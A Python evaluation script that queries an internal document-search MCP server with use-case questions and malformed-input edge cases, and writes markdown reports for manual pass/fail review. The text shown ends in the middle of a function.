File size: 34,598 Bytes
49b9dd9
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
"""모든 테스트 케이스의 실제 MCP 응답을 수집하여 수동 평가용 마크다운 생성."""

import asyncio
import json
import sys
import os

sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "src"))

from yeogibrain_mcp.server import (
    search_documents,
    get_document,
    get_related,
    list_documents,
    get_statistics,
    full_text_search,
    get_documents_batch,
)
from yeogibrain_mcp.data_loader import DataStore

# doc_id → Confluence URL 매핑
_store = DataStore()
URL_MAP = {doc_id: doc.get("url", "") for doc_id, doc in _store.documents.items()}


def _link(doc_id):
    """문서 ID를 Confluence 링크로 변환."""
    url = URL_MAP.get(doc_id, "")
    if url:
        return f"[{doc_id}]({url})"
    return f"`{doc_id}`"


def summarize_search(parsed, max_items=5):
    """search_documents / full_text_search 결과 요약."""
    lines = [f"**total: {parsed['total']}건**"]
    for r in parsed["results"][:max_items]:
        title = r.get("title", "(제목 없음)")[:60]
        snippet = r.get("snippet", "")[:80]
        cat = r.get("category", "")
        line = f"- {_link(r['id'])} [{cat}] {title}"
        if snippet:
            line += f" — _{snippet}_"
        lines.append(line)
    if parsed["total"] > max_items:
        lines.append(f"- ... 외 {parsed['total'] - max_items}건")
    return "\n".join(lines)


def summarize_doc(parsed):
    """get_document 결과 요약."""
    if "error" in parsed:
        return f"**Error**: {parsed['error']}"
    title = parsed.get("title", "(제목 없음)")[:80]
    cat = parsed.get("category", "")
    content_len = len(parsed.get("content", ""))
    return f"**{_link(parsed['id'])}** [{cat}] {title} (본문 {content_len}자)"


def summarize_related(parsed):
    """get_related 결과 요약."""
    if "error" in parsed:
        return f"**Error**: {parsed['error']}"
    lines = [f"**문서**: {_link(parsed.get('doc_id', '?'))} [{parsed.get('doc_category', '?')}]"]
    for key in ("prd", "ac", "ab", "research"):
        if key in parsed:
            cnt = parsed[key]["count"]
            if cnt > 0:
                linked = [_link(d["id"]) for d in parsed[key]["documents"][:3]]
                lines.append(f"- {key}: {cnt}건 ({', '.join(linked)}{'...' if cnt > 3 else ''})")
            else:
                lines.append(f"- {key}: 0건")
    return "\n".join(lines)


def summarize_stats(parsed):
    """get_statistics 결과 요약."""
    lines = [f"**전체**: {parsed.get('total_documents', '?')}건, **그룹**: {len(parsed.get('groups', []))}개"]
    for g in parsed.get("groups", [])[:10]:
        lines.append(f"- {g['key']}: {g['count']}건")
    if len(parsed.get("groups", [])) > 10:
        lines.append(f"- ... 외 {len(parsed['groups']) - 10}개")
    return "\n".join(lines)


def summarize_batch(parsed):
    """get_documents_batch 결과 요약."""
    lines = [f"**성공**: {parsed['total']}건, **에러**: {len(parsed['errors'])}건"]
    for r in parsed["results"][:3]:
        lines.append(f"- {_link(r['id'])} [{r['category']}] {r.get('title', '')[:50]}")
    for e in parsed["errors"][:3]:
        lines.append(f"- ❌ {e[:60]}")
    return "\n".join(lines)


async def run_and_summarize(func, kwargs, summarizer):
    """함수 실행 후 요약."""
    try:
        result = await func(**kwargs)
        parsed = json.loads(result)
        return summarizer(parsed)
    except Exception as e:
        return f"**Exception**: {type(e).__name__}: {e}"


async def generate_usecase_evaluation():
    """Use Case 질문 평가 파일 생성."""
    cases = []

    # Case 1
    cases.append(("## Case 1: 기능 기획 전", [
        ("Q1-1", "PDP 관련 AB 테스트 결과를 다 보여줘", search_documents, dict(query="PDP", category="ab"), summarize_search),
        ("Q1-2", "PDP에 대해 유저 인터뷰에서 어떤 말이 나왔어?", full_text_search, dict(query="PDP", category="dovetail"), summarize_search),
        ("Q1-3", "검색 기능 관련으로 진행한 리서치 전부 보여줘", search_documents, dict(query="검색", category="research"), summarize_search),
        ("Q1-5", "해외숙소 관련 지금까지 한 실험이 뭐가 있어?", search_documents, dict(query="해외숙소", category="ab"), summarize_search),
    ]))

    # Q1-4: 복합 (3개 카테고리)
    async def q1_4():
        lines = ["**체크아웃 관련 cross-category 검색**"]
        for cat in ("prd", "ab", "research"):
            r = await search_documents(query="결제", category=cat)
            p = json.loads(r)
            lines.append(f"- {cat}: {p['total']}건")
            for doc in p["results"][:2]:
                lines.append(f"  - {_link(doc['id'])} {doc.get('title', '')[:50]}")
        return "\n".join(lines)

    # Q1-6: 복합
    async def q1_6():
        r1 = await search_documents(query="회원가입")
        r2 = await full_text_search(query="회원가입")
        p1, p2 = json.loads(r1), json.loads(r2)
        lines = [f"**search**: {p1['total']}건, **full_text**: {p2['total']}건"]
        for doc in (p1["results"] + p2["results"])[:5]:
            lines.append(f"- {_link(doc['id'])} [{doc['category']}] {doc.get('title', '')[:50]}")
        return "\n".join(lines)

    cases[0][1].append(("Q1-4", "체크아웃 관련 PRD, AB, 리서치를 한번에 보고 싶어", None, None, None))
    cases[0][1].append(("Q1-6", "회원가입 개선 관련해서 아는 게 있어?", None, None, None))

    # Case 2
    cases.append(("## Case 2: 디자인 의사결정 근거 확보", [
        ("Q2-1", "가격 정보를 더 강조하려는데 뒷받침하는 AB 결과 있어?", full_text_search, dict(query="가격", category="ab"), summarize_search),
        ("Q2-2", "취소 정보를 아이템카드에 노출하면 효과가 있을까?", full_text_search, dict(query="취소정보", category="ab"), summarize_search),
        ("Q2-3", "객실 목록을 접을지 펼칠지 Baymard에서 뭐라고 해?", search_documents, dict(query="product listing expand collapse", category="baymard"), summarize_search),
        ("Q2-4", "리뷰 섹션 위치 NNg 원칙", search_documents, dict(query="review placement", category="nng"), summarize_search),
        ("Q2-5", "모바일 날짜 선택 UI Baymard 가이드라인", search_documents, dict(query="date picker mobile", category="baymard"), summarize_search),
        ("Q2-6", "복잡도를 줄이는 게 정말 효과 있어?", full_text_search, dict(query="복잡도", category="ab"), summarize_search),
    ]))

    # Case 3
    cases.append(("## Case 3: AB 테스트 설계 전 — 선행 학습", [
        ("Q3-1", "Baymard Cart & Checkout 가이드라인 전부 보여줘", list_documents, dict(category="baymard", theme="Cart & Checkout", limit=200), summarize_search),
        ("Q3-2", "PDP에서 성공한 실험들의 공통 패턴이 뭐야?", full_text_search, dict(query="런치하기", category="ab"), summarize_search),
        ("Q3-3", "고관여 상품에서 효과가 컸던 실험만 보여줘", full_text_search, dict(query="호텔 GMV", category="ab"), summarize_search),
        ("Q3-4", "검색 랭킹 관련 AB 실험 히스토리", search_documents, dict(query="랭킹", category="ab", sort_by="date_asc"), summarize_search),
        ("Q3-5", "넛징 관련 실험 중 성공/실패 비교", full_text_search, dict(query="넛징", category="ab"), summarize_search),
        ("Q3-6", "NEUTRAL로 끝난 홈 실험들 Learning 부분", full_text_search, dict(query="NEUTRAL", category="ab"), summarize_search),
    ]))

    # Q3-7: 복합
    async def q3_7():
        doc = await get_document(doc_id="BMD-001")
        dp = json.loads(doc)
        lines = [f"**{_link('BMD-001')}**: [{dp.get('category','')}] {dp.get('title','')[:60]}"]
        lines.append(f"- issue: {dp.get('issue','')[:80]}")
        lines.append(f"- advice: {dp.get('advice','')[:80]}")
        return "\n".join(lines)

    cases[2][1].append(("Q3-7", "이 Baymard 가이드라인은 우리가 검증한 적 있어?", None, None, None))

    # Case 4
    cases.append(("## Case 4: 리서치 결과의 실제 반영 추적", [
        ("Q4-1", "RES-023 결과가 PRD나 AB로 이어졌어?", get_related, dict(doc_id="RES-001"), summarize_related),
        ("Q4-3", "PRD-045와 관련된 리서치가 있었어?", get_related, dict(doc_id="PRD-001"), summarize_related),
    ]))

    # Q4-2: 체인
    async def q4_2():
        r = await list_documents(category="research", methodology="UT", date_from="2024-01-01")
        p = json.loads(r)
        lines = [f"**2024 UT 리서치**: {p['total']}건"]
        for doc in p["results"][:3]:
            lines.append(f"- {_link(doc['id'])} {doc.get('title','')[:50]}")
        if p["total"] > 0:
            rel = await get_related(doc_id=p["results"][0]["id"])
            rp = json.loads(rel)
            lines.append(f"\n**{_link(p['results'][0]['id'])} 연관문서:**")
            for key in ("prd", "ac", "ab", "research"):
                if key in rp:
                    lines.append(f"- {key}: {rp[key]['count']}건")
        return "\n".join(lines)

    # Q4-4
    async def q4_4():
        r = await search_documents(query="", category="ab", experiment_no="119")
        p = json.loads(r)
        lines = [f"**실험 119번**: {p['total']}건"]
        for doc in p["results"]:
            lines.append(f"- {_link(doc['id'])} {doc.get('title','')[:60]}")
        return "\n".join(lines)

    # Q4-5
    async def q4_5():
        r = await search_documents(query="파트너센터", category="research")
        p = json.loads(r)
        lines = [f"**파트너센터 리서치**: {p['total']}건"]
        for doc in p["results"][:3]:
            lines.append(f"- {_link(doc['id'])} {doc.get('title','')[:50]}")
        if p["total"] > 0:
            rel = await get_related(doc_id=p["results"][0]["id"])
            rp = json.loads(rel)
            lines.append(f"\n**{_link(p['results'][0]['id'])} 연관:**")
            for key in ("prd", "ac", "ab", "research"):
                if key in rp:
                    lines.append(f"- {key}: {rp[key]['count']}건")
        return "\n".join(lines)

    cases[3][1].append(("Q4-2", "2024 UT 리서치 중 AB까지 연결된 건 몇 개야?", None, None, None))
    cases[3][1].append(("Q4-4", "AB 테스트 119번 실험의 배경이 된 리서치/PRD 찾아줘", None, None, None))
    cases[3][1].append(("Q4-5", "파트너센터 리서치 14건이 실제 PRD로 얼마나 반영됐어?", None, None, None))

    # Case 5
    cases.append(("## Case 5: 특정 리서처/PO의 히스토리 파악", [
        ("Q5-2", "욘두가 진행한 리서치를 날짜순으로 보여줘", list_documents, dict(category="research", author="욘두", sort_by="date_desc"), summarize_search),
        ("Q5-3", "케인이 검색 도메인에서 진행한 실험 히스토리", search_documents, dict(query="", category="ab", author="케인Kane(박대현) / 검색추천기획팀"), summarize_search),
        ("Q5-4", "리서치팀에서 가장 많은 리서치를 진행한 사람은?", get_statistics, dict(group_by="author", category="research"), summarize_stats),
        ("Q5-5", "PDP AB 테스트 — 여러 PO가 담당", search_documents, dict(query="PDP", category="ab"), summarize_search),
    ]))

    # Case 6
    cases.append(("## Case 6: 유저 보이스에서 패턴 발견", [
        ("Q6-1", "유저가 '불편하다', '어렵다'고 말한 인터뷰 발화 찾아줘", full_text_search, dict(query="불편", category="dovetail"), summarize_search),
        ("Q6-2", "검색 FGI에서 유저들이 뭐라고 했어?", list_documents, dict(category="dovetail", project="[FGI]통합검색"), summarize_search),
        ("Q6-3", "유저가 가격 관련해서 언급한 발화 모아줘", full_text_search, dict(query="가격", category="dovetail"), summarize_search),
        ("Q6-4", "취소/환불에 대해 유저가 직접 한 말이 있어?", full_text_search, dict(query="취소", category="dovetail"), summarize_search),
        ("Q6-5", "해외숙소 예약 경험에 대한 인터뷰 내용", full_text_search, dict(query="해외숙소", category="dovetail"), summarize_search),
        ("Q6-6", "Dovetail 프로젝트별로 인터뷰가 몇 건씩 있어?", get_statistics, dict(group_by="project", category="dovetail"), summarize_stats),
        ("Q6-7", "유저가 '비교'라는 단어를 쓴 맥락 보고 싶어", full_text_search, dict(query="비교", category="dovetail"), summarize_search),
    ]))

    # Case 7
    cases.append(("## Case 7: 글로벌 UX 원칙과 자사 현황 비교", [
        ("Q7-1", "Baymard Product Page 가이드라인 중 importance 높은 것", search_documents, dict(query="", category="baymard", theme="Product Page"), summarize_search),
        ("Q7-2", "NNg 모바일 네비게이션", search_documents, dict(query="mobile navigation", category="nng"), summarize_search),
        ("Q7-7", "NNg 정보 시인성(information scent) 원칙", search_documents, dict(query="information scent", category="nng"), summarize_search),
    ]))

    # Q7-3 ~ Q7-6: 복합
    async def q7_3():
        bmd = await list_documents(category="baymard", theme="Cart & Checkout", limit=5)
        ab = await search_documents(query="결제", category="ab")
        bp, ap = json.loads(bmd), json.loads(ab)
        lines = [f"**Baymard Cart & Checkout**: {bp['total']}건"]
        for d in bp["results"][:3]:
            lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}")
        lines.append(f"\n**자사 결제 AB**: {ap['total']}건")
        for d in ap["results"][:3]:
            lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}")
        return "\n".join(lines)

    async def q7_4():
        nng = await search_documents(query="search", category="nng")
        prd = await search_documents(query="검색", category="prd")
        np_, pp = json.loads(nng), json.loads(prd)
        lines = [f"**NNg search**: {np_['total']}건"]
        for d in np_["results"][:3]:
            lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}")
        lines.append(f"\n**자사 검색 PRD**: {pp['total']}건")
        for d in pp["results"][:3]:
            lines.append(f"- {_link(d['id'])} {d.get('title','')[:50]}")
        return "\n".join(lines)

    async def q7_5():
        bmd = await search_documents(query="homepage", category="baymard")
        nng = await search_documents(query="homepage", category="nng")
        bp, np_ = json.loads(bmd), json.loads(nng)
        lines = [f"**Baymard homepage**: {bp['total']}건, **NNg homepage**: {np_['total']}건"]
        for d in bp["results"][:2]:
            lines.append(f"- [baymard] {_link(d['id'])} {d.get('title','')[:50]}")
        for d in np_["results"][:2]:
            lines.append(f"- [nng] {_link(d['id'])} {d.get('title','')[:50]}")
        return "\n".join(lines)

    async def q7_6():
        bmd = await search_documents(query="review", category="baymard")
        ab = await search_documents(query="리뷰", category="ab")
        bp, ap = json.loads(bmd), json.loads(ab)
        lines = [f"**Baymard review**: {bp['total']}건, **자사 리뷰 AB**: {ap['total']}건"]
        for d in bp["results"][:2]:
            lines.append(f"- [baymard] {_link(d['id'])} {d.get('title','')[:50]}")
        for d in ap["results"][:2]:
            lines.append(f"- [ab] {_link(d['id'])} {d.get('title','')[:50]}")
        return "\n".join(lines)

    cases[6][1].append(("Q7-3", "Baymard 체크아웃 가이드라인과 우리 결제 AB 비교", None, None, None))
    cases[6][1].append(("Q7-4", "NNg 검색 UX 원칙 vs 우리 검색 PRD", None, None, None))
    cases[6][1].append(("Q7-5", "홈페이지 Baymard + NNg 원칙 한번에", None, None, None))
    cases[6][1].append(("Q7-6", "Baymard 리뷰 가이드라인 vs 우리 리뷰 AB", None, None, None))

    # Case 8
    cases.append(("## Case 8: 분기/연간 리서치 현황 리뷰", [
        ("Q8-1", "2024년에 월별로 리서치가 몇 건이었어?", get_statistics, dict(group_by="year_month", category="research"), summarize_stats),
        ("Q8-2", "리서치 방법론 분포 (UT 편중?)", get_statistics, dict(group_by="methodology", category="research"), summarize_stats),
        ("Q8-3", "도메인별 리서치 건수", get_statistics, dict(group_by="domain", category="research"), summarize_stats),
        ("Q8-4", "올해 AB 테스트 PO별 건수", get_statistics, dict(group_by="author", category="ab"), summarize_stats),
        ("Q8-6", "Baymard 테마별 가이드라인 수", get_statistics, dict(group_by="theme", category="baymard"), summarize_stats),
        ("Q8-7", "Dovetail 프로젝트별 인터뷰 수", get_statistics, dict(group_by="project", category="dovetail"), summarize_stats),
    ]))

    # Q8-5: 복합
    async def q8_5():
        prd = await get_statistics(group_by="domain", category="prd")
        res = await get_statistics(group_by="domain", category="research")
        pp, rp = json.loads(prd), json.loads(res)
        prd_d = {g["key"]: g["count"] for g in pp["groups"]}
        res_d = {g["key"]: g["count"] for g in rp["groups"]}
        lines = ["**PRD vs Research 도메인 비교:**", "| 도메인 | PRD | Research | 갭 |", "|---|---|---|---|"]
        for k in sorted(prd_d.keys()):
            rc = res_d.get(k, 0)
            gap = "✅" if rc > 0 else "❌ 공백"
            lines.append(f"| {k} | {prd_d[k]} | {rc} | {gap} |")
        return "\n".join(lines)

    cases[7][1].append(("Q8-5", "PRD는 많은데 리서치가 없는 도메인이 어디야?", None, None, None))

    # Case 9
    cases.append(("## Case 9: 성과 기반 리서치 영역 탐색", [
        ("Q9-1", "GMV가 1% 이상 오른 실험 모아줘", full_text_search, dict(query="GMV 상승", category="ab"), summarize_search),
        ("Q9-2", "성공한 실험들의 공통 Learning 정리", full_text_search, dict(query="Learning", category="ab"), summarize_search),
        ("Q9-3", "NEUTRAL로 끝난 실험들은 어떤 영역?", full_text_search, dict(query="NEUTRAL", category="ab"), summarize_search),
        ("Q9-4", "정보 시인성 개선 실험 성공률", full_text_search, dict(query="시인성", category="ab"), summarize_search),
        ("Q9-5", "고관여 상품 효과 큰 실험 패턴", full_text_search, dict(query="호텔 GMV", category="ab"), summarize_search),
    ]))

    # Q9-6, Q9-7: 복합
    async def q9_6():
        prd = await get_statistics(group_by="domain", category="prd")
        res = await get_statistics(group_by="domain", category="research")
        pp, rp = json.loads(prd), json.loads(res)
        prd_search = next((g["count"] for g in pp["groups"] if g["key"] == "search"), 0)
        res_search = sum(g["count"] for g in rp["groups"] if "검색" in g["key"])
        return f"**검색 도메인 갭**: PRD {prd_search}건 vs Research {res_search}건 (비율 {prd_search}/{max(res_search,1)})"

    async def q9_7():
        bmd = await get_statistics(group_by="category")
        p = json.loads(bmd)
        counts = {g["key"]: g["count"] for g in p["groups"]}
        return f"**전체 문서 분포**: Baymard {counts.get('baymard',0)}건, AB {counts.get('ab',0)}건 — Baymard가 {counts.get('baymard',0) - counts.get('ab',0)}건 더 많음"

    cases[8][1].append(("Q9-6", "검색 도메인 PRD 60건 vs Research 6건 갭 분석", None, None, None))
    cases[8][1].append(("Q9-7", "Baymard 중 아직 실험 안 해본 영역은?", None, None, None))

    # 복합 호출 매핑
    complex_funcs = {
        "Q1-4": q1_4, "Q1-6": q1_6, "Q3-7": q3_7,
        "Q4-2": q4_2, "Q4-4": q4_4, "Q4-5": q4_5,
        "Q7-3": q7_3, "Q7-4": q7_4, "Q7-5": q7_5, "Q7-6": q7_6,
        "Q8-5": q8_5, "Q9-6": q9_6, "Q9-7": q9_7,
    }

    # 실행 및 마크다운 생성
    output = []
    output.append("# Use Case 질문 평가 — 실제 MCP 응답\n")
    output.append("> **목적**: 각 질문에 대한 실제 Tool 응답을 수동으로 검토")
    output.append("> **판단자**: _______________")
    output.append("> **판단일**: _______________\n")

    for section_title, items in cases:
        output.append(f"\n---\n\n{section_title}\n")
        for qid, question, func, kwargs, summarizer in items:
            output.append(f"### {qid}: {question}\n")

            if qid in complex_funcs:
                try:
                    summary = await complex_funcs[qid]()
                except Exception as e:
                    summary = f"**Exception**: {e}"
            else:
                summary = await run_and_summarize(func, kwargs, summarizer)

            output.append(summary)
            output.append(f"\n**Pass/Fail**: ______\n")

    return "\n".join(output)


async def generate_anti_persona_evaluation():
    """Anti-Persona ABC 평가 파일 생성."""
    output = []
    output.append("# Anti-Persona (A/B/C) 평가 — 실제 MCP 응답\n")
    output.append("> **목적**: 비정상 입력에 대한 실제 Tool 응답을 수동으로 검토")
    output.append("> **판단자**: _______________")
    output.append("> **판단일**: _______________\n")

    # --- Type A ---
    output.append("\n---\n\n## Type A: 초보자\n")

    # A1: 잘못된 doc_id
    output.append("### A1: 잘못된 doc_id 형식\n")
    for tid, doc_id in [("A1-1", "1"), ("A1-2", "158"), ("A1-3", "17"), ("A1-4", "NNG-1"), ("A1-5", "baymard-100")]:
        r = await get_document(doc_id=doc_id)
        p = json.loads(r)
        summary = summarize_doc(p)
        output.append(f"**{tid}** `get_document(doc_id=\"{doc_id}\")` → {summary}\n")
    output.append("**Pass/Fail**: ______\n")

    # A2: 카테고리 오입력
    output.append("### A2: 카테고리명 오입력\n")
    for tid, cat in [("A2-1","Research"),("A2-2","PRD"),("A2-3","ab test"),("A2-4","리서치"),("A2-5","nngroup"),("A2-6","interview")]:
        r = await search_documents(query="검색", category=cat)
        p = json.loads(r)
        output.append(f"**{tid}** `category=\"{cat}\"` → {p['total']}건, filters.category=\"{p['filters']['category']}\"\n")
    r = await get_statistics(group_by="category", category="전체")
    p = json.loads(r)
    output.append(f"**A2-7** `get_statistics(category=\"전체\")` → {p['total_documents']}건, groups={p['groups']}\n")
    output.append("**Pass/Fail**: ______\n")

    # A3: 넓은/모호한 질문
    output.append("### A3: 너무 넓거나 모호한 질문\n")
    r = await list_documents(limit=99999)
    p = json.loads(r)
    output.append(f"**A3-1** `list_documents(limit=99999)` → **{p['total']}건** 반환\n")
    r = await search_documents(query="")
    p = json.loads(r)
    output.append(f"**A3-2** `search_documents(query=\"\")` → **{p['total']}건**, results={p['results']}\n")
    output.append("**Pass/Fail**: ______\n")

    # A5: 날짜 형식
    output.append("### A5: 잘못된 날짜 형식\n")
    for tid, df in [("A5-1","2024년 1월"),("A5-2","작년"),("A5-3","01/15/2024"),("A5-4","2024.03.01"),("A5-5","2024-13-01")]:
        r = await search_documents(query="검색", date_from=df)
        p = json.loads(r)
        output.append(f"**{tid}** `date_from=\"{df}\"` → {p['total']}건, filter반영: {p['filters']['date_from']}\n")
    r = await search_documents(query="검색", date_from="2024-06-01", date_to="2024-01-01")
    p = json.loads(r)
    output.append(f"**A5-6** 역전 날짜 → {p['total']}건\n")
    output.append("**Pass/Fail**: ______\n")

    # A6: 한/영 혼용
    output.append("### A6: 한글/영어 혼용 검색\n")
    for tid, q, cat in [("A6-1","checkout","prd"),("A6-2","결제","baymard"),("A6-3","리뷰","nng"),("A6-4","homepage","prd"),("A6-5","search","research")]:
        r = await search_documents(query=q, category=cat)
        p = json.loads(r)
        output.append(f"**{tid}** `query=\"{q}\", category=\"{cat}\"` → **{p['total']}건**\n")
    output.append("**Pass/Fail**: ______\n")

    # A7: 결과 0건
    output.append("### A7: 결과 0건 상황\n")
    r = await search_documents(query="결제", category="research")
    p = json.loads(r)
    output.append(f"**A7-1** `query=\"결제\", category=\"research\"` → **{p['total']}건**\n")
    r = await search_documents(query="", category="ab", author="욘두")
    p = json.loads(r)
    output.append(f"**A7-2** `category=\"ab\", author=\"욘두\"` → **{p['total']}건** (욘두는 research 담당)\n")
    r = await list_documents(category="dovetail", methodology="UT")
    p = json.loads(r)
    output.append(f"**A7-3** `category=\"dovetail\", methodology=\"UT\"` → **{p['total']}건** (dovetail엔 methodology 없음)\n")
    r = await search_documents(query="xyzabc123nonexistent")
    p = json.loads(r)
    output.append(f"**A7-4** `query=\"xyzabc123nonexistent\"` → **{p['total']}건**\n")
    output.append("**Pass/Fail**: ______\n")

    # A8: 필터 과다
    output.append("### A8: 필터 과다 조합\n")
    r = await search_documents(query="검색", category="research", author="욘두", methodology="UT", date_from="2024-01-01", date_to="2024-06-30")
    p = json.loads(r)
    output.append(f"**A8-1** 5개 필터 동시 → **{p['total']}건**, filters: {json.dumps(p['filters'], ensure_ascii=False)}\n")
    r = await list_documents(category="baymard", author="Jakob Nielsen")
    p = json.loads(r)
    output.append(f"**A8-2** `baymard + author=\"Jakob Nielsen\"` → **{p['total']}건**\n")
    r = await search_documents(query="PDP", category="nng", methodology="Survey")
    p = json.loads(r)
    output.append(f"**A8-3** `nng + methodology=\"Survey\"` → **{p['total']}건**\n")
    output.append("**Pass/Fail**: ______\n")

    # A10: batch
    output.append("### A10: batch ID 형식 불일치\n")
    r = await get_documents_batch(doc_ids=["PRD-001", "PRD001", "prd-001"], fields="summary")
    p = json.loads(r)
    output.append(f"**A10** → 성공: {p['total']}건, 에러: {len(p['errors'])}건\n")
    for d in p["results"]:
        output.append(f"- ✅ {_link(d['id'])}\n")
    for e in p["errors"]:
        output.append(f"- ❌ {e}\n")
    output.append("**Pass/Fail**: ______\n")

    # --- Type B ---
    output.append("\n---\n\n## Type B: 오용자\n")

    # B1: 범위 밖
    output.append("### B1: MCP 범위 밖 데이터 요청\n")
    for tid, q in [("B1-1","앱 다운로드 수"),("B1-2","야놀자 MAU"),("B1-3","지난달 매출"),("B1-5","Jira 티켓")]:
        r = await search_documents(query=q)
        p = json.loads(r)
        output.append(f"**{tid}** `query=\"{q}\"` → **{p['total']}건**")
        if p["total"] > 0:
            output.append(f" — 첫 결과: {_link(p['results'][0]['id'])} {p['results'][0].get('title','')[:40]}")
        output.append("\n")
    output.append("**Pass/Fail**: ______\n")

    # B4: 외부 문서 get_related
    output.append("### B4: 관계(get_related)를 외부 문서에 사용\n")
    for tid, did in [("B4-1","NNG-001"),("B4-2","BMD-100"),("B4-3","TRS-001")]:
        r = await get_related(doc_id=did)
        p = json.loads(r)
        summary = summarize_related(p)
        output.append(f"**{tid}** `get_related(\"{did}\")` →\n{summary}\n\n")
    output.append("**Pass/Fail**: ______\n")

    # B5: 잘못된 group_by
    output.append("### B5: 잘못된 group_by 값\n")
    for tid, gb, cat in [("B5-1","rating",None),("B5-2","experiment_result",None)]:
        kwargs = dict(group_by=gb)
        if cat:
            kwargs["category"] = cat
        r = await get_statistics(**kwargs)
        p = json.loads(r)
        keys = [g["key"] for g in p["groups"][:3]]
        output.append(f"**{tid}** `group_by=\"{gb}\"` → groups: {keys}\n")

    r = await get_statistics(group_by="domain", category="dovetail")
    p = json.loads(r)
    output.append(f"**B5-5** `domain + dovetail` → {len(p['groups'])}개 그룹, 합계={sum(g['count'] for g in p['groups'])}건\n")

    r = await get_statistics(group_by="domain", category="ab")
    p = json.loads(r)
